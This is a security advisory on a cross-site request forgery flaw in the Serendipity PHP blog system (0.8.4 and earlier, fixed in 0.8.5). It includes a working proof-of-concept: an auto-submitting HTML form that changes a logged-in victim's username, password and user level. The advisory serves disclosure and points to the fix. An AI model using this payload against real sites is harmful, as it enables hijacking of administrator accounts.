[UNIX] Serendipity Account Hijacking and CSRF Vulnerability

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Serendipity Account Hijacking and CSRF Vulnerability
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SUMMARY

<http://www.s9y.org/> Serendipity is "a weblog/blog system, implemented
with PHP. It is standards compliant, feature rich and open source (BSD
License)".

A security vulnerability have been discovered in Serendipity that allow
accounts to be hijacked by utilizing a CSRF technique.

DETAILS

Vulnerable Systems:
* Serendipity versions 0.8.4 and prior

Immune Systems:
* Serendipity version 0.8.5

An attacker is able to change the username and password of a logged-in
user (and can therefore hijack his account) by tricking the user into
clicking a link to a page with the following contents:

<form
action="http://your-server/path-to-s9y/serendipity_admin.php?
serendipity[adminModule]=personal &serendipity[adminAction]=save"
method="post">
<input type="text" name="username" value="evilguy" />
<input type="text" name="password" value="evilpass" />
<input type="text" name="realname" value="John Doe" />
<input type="text" name="userlevel" value="255"/>
<input type="text" name="email" value="john@example.com" />
<input type="text" name="lang" value="en"/>
<input type="submit" name="SAVE" value="Save" />
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

The fields "your-server" and "path-to-s9y" in the form's action attribute
have to be adjusted accordingly.

Similar attacks (termed as "Cross-Site Request Forgery" or CSRF) can be
launched for performing other requests disguised as the victim. However,
this problem is not limited to Serendipity, but affects a large number of
comparable web applications available at this time.

Solution:
Version 0.8.5 of Serendipity is reported by the developers to fix the
Account Hijacking vulnerability as well as the general CSRF problem
itself.

ADDITIONAL INFORMATION

The information has been provided by <mailto:enji@infosys.tuwien.ac.at>
Nenad Jovanovic.

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